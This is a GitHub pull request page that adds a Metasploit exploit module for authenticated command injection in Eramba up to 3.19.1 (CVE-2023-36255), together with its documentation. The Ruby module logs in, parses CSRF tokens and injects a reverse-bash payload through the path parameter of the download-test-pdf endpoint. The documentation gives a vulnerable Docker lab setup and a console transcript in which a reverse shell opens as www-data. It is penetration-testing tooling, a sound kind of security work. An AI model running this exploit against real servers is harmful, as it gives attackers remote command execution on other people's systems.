Skip to content

Eramba RCE #19957

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 7 commits into from
Mar 25, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
157 changes: 157 additions & 0 deletions documentation/modules/exploit/linux/http/eramba_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
## Vulnerable Application

Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`):

### Installation

Docker and docker-compose is required.

1. git clone https://github.com/eramba/docker
2. cd docker
3. Setup database credentials and public URL in `.env`
4. Copy following into `docker-compose.simple-install.yml`
```
version: '3.19'
services:
mysql:
container_name: mysql
image: mysql:8.0.28-oracle
command: ["mysqld", "--disable-log-bin"]
restart: always
volumes:
- db-data:/var/lib/mysql
- ./mysql/conf.d:/etc/mysql/conf.d
- ./mysql/entrypoint:/docker-entrypoint-initdb.d
environment:
MYSQL_DATABASE: ${DB_DATABASE}
MYSQL_USER: ${DB_USERNAME}
MYSQL_PASSWORD: ${DB_PASSWORD}
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
redis:
container_name: redis
image: redis:6.0.16-alpine
restart: always
eramba:
container_name: eramba
image: ghcr.io/eramba/eramba:3.19.1
restart: always
ports:
- 8443:443
volumes:
- data:/var/www/eramba/app/upgrade/data
- app:/var/www/eramba
- logs:/var/www/eramba/app/upgrade/logs
- ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
- ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
- ./apache/security.conf:/etc/apache2/conf-available/security.conf
- ./apache/ports.conf:/etc/apache2/ports.conf
- ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
- ./crontab/crontab:/etc/cron.d/eramba-crontab
environment:
DB_HOST: ${DB_HOST}
DB_DATABASE: ${DB_DATABASE}
DB_USERNAME: ${DB_USERNAME}
DB_PASSWORD: ${DB_PASSWORD}
CACHE_URL: ${CACHE_URL}
USE_PROXY: ${USE_PROXY}
PROXY_HOST: ${PROXY_HOST}
PROXY_PORT: ${PROXY_PORT}
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
links:
- mysql
- redis
depends_on:
- mysql
cron:
container_name: cron
image: ghcr.io/eramba/eramba:3.19.1
command: ["cron", "-f"]
entrypoint: ["/docker-cron-entrypoint.sh"]
restart: always
volumes:
- data:/var/www/eramba/app/upgrade/data
- app:/var/www/eramba
- logs:/var/www/eramba/app/upgrade/logs
- ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
- ./crontab/crontab:/etc/cron.d/eramba-crontab
- .env:/var/www/docker.env
environment:
DB_HOST: ${DB_HOST}
DB_DATABASE: ${DB_DATABASE}
DB_USERNAME: ${DB_USERNAME}
DB_PASSWORD: ${DB_PASSWORD}
CACHE_URL: ${CACHE_URL}
USE_PROXY: ${USE_PROXY}
PROXY_HOST: ${PROXY_HOST}
PROXY_PORT: ${PROXY_PORT}
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
links:
- mysql
- redis
- eramba
depends_on:
- eramba
volumes:
app:
data:
logs:
db-data:
```

5. `docker compose -f docker-compose.simple-install.yml up -d`

Shut down: `docker compose -f docker-compose.simple-install.yml down`


## Verification Steps

1. use exploit/linux/http/eramba_rce
2. set RHOSTS [target IP]
3. set LHOST [attacker's IP]
4. set USERNAME [username]
5. set PASSWORD [password]
6. exploit

## Options

### USERNAME

A valid username for Eramba application

### PASSWORD

A valid password for Eramba application

## Scenarios

```
msf6 > use exploit/linux/http/eramba_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
RHOSTS => 192.168.95.145
msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
LHOST => 192.168.95.142
msf6 exploit(linux/http/eramba_rce)> set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
PASSWORD => P4ssw0rd!
msf6 exploit(linux/http/eramba_rce) > exploit
[*] Started reverse TCP handler on 192.168.95.142:4444
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)


```

135 changes: 135 additions & 0 deletions modules/exploits/linux/http/eramba_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module',
'Description' => %q{
This module exploits a remote code execution vulnerability in Eramba.
An authenticated user can execute arbitrary commands on the server by
exploiting the path parameter in the download-test-pdf endpoint.
Eramba debug mode has to be enabled.
},
'Author' => [
'Trovent Security GmbH',
'Sergey Makarov', # vulnerability discovery and exploit
'Stefan Pietsch', # CVE and Advisory
'Niklas Rubel', # MSF module
'msutovsky-r7' # MSF module
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultTarget' => 0,

'References' => [
['CVE', '2023-36255'],
['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt']
],
'DisclosureDate' => '2023-08-01',
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
}
)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']),
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/login')
})

return Exploit::CheckCode::Unknown unless res&.code == 200

html_body = res.get_html_document
version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text
return Exploit::CheckCode::Unknown unless version_html

return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]')

version = Rex::Version.new(version_html)

return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')

return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")
end

def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/login'),
'keep_cookies' => true
})

html_body = res.get_html_document
csrf_token = html_body.at('input[@name="_csrfToken"]')
token_fields = html_body.at('input[@name="_Token[fields]"]')
token_unlocked = html_body.at('input[@name="_Token[unlocked]"]')
token_debug = html_body.at('input[@name="_Token[debug]"]')

fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri('/login'),
'keep_cookies' => true,
'vars_post' => {
'_csrfToken' => csrf_token['value'],
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_Token[fields]' => token_fields['value'],
'_Token[unlocked]' => token_unlocked['value'],
'_Token[debug]' => token_debug['value']
}
})

fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard')

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/settings/download-test-pdf'),
'vars_get' =>
{
'path' => payload.encoded.to_s
}
})
end
end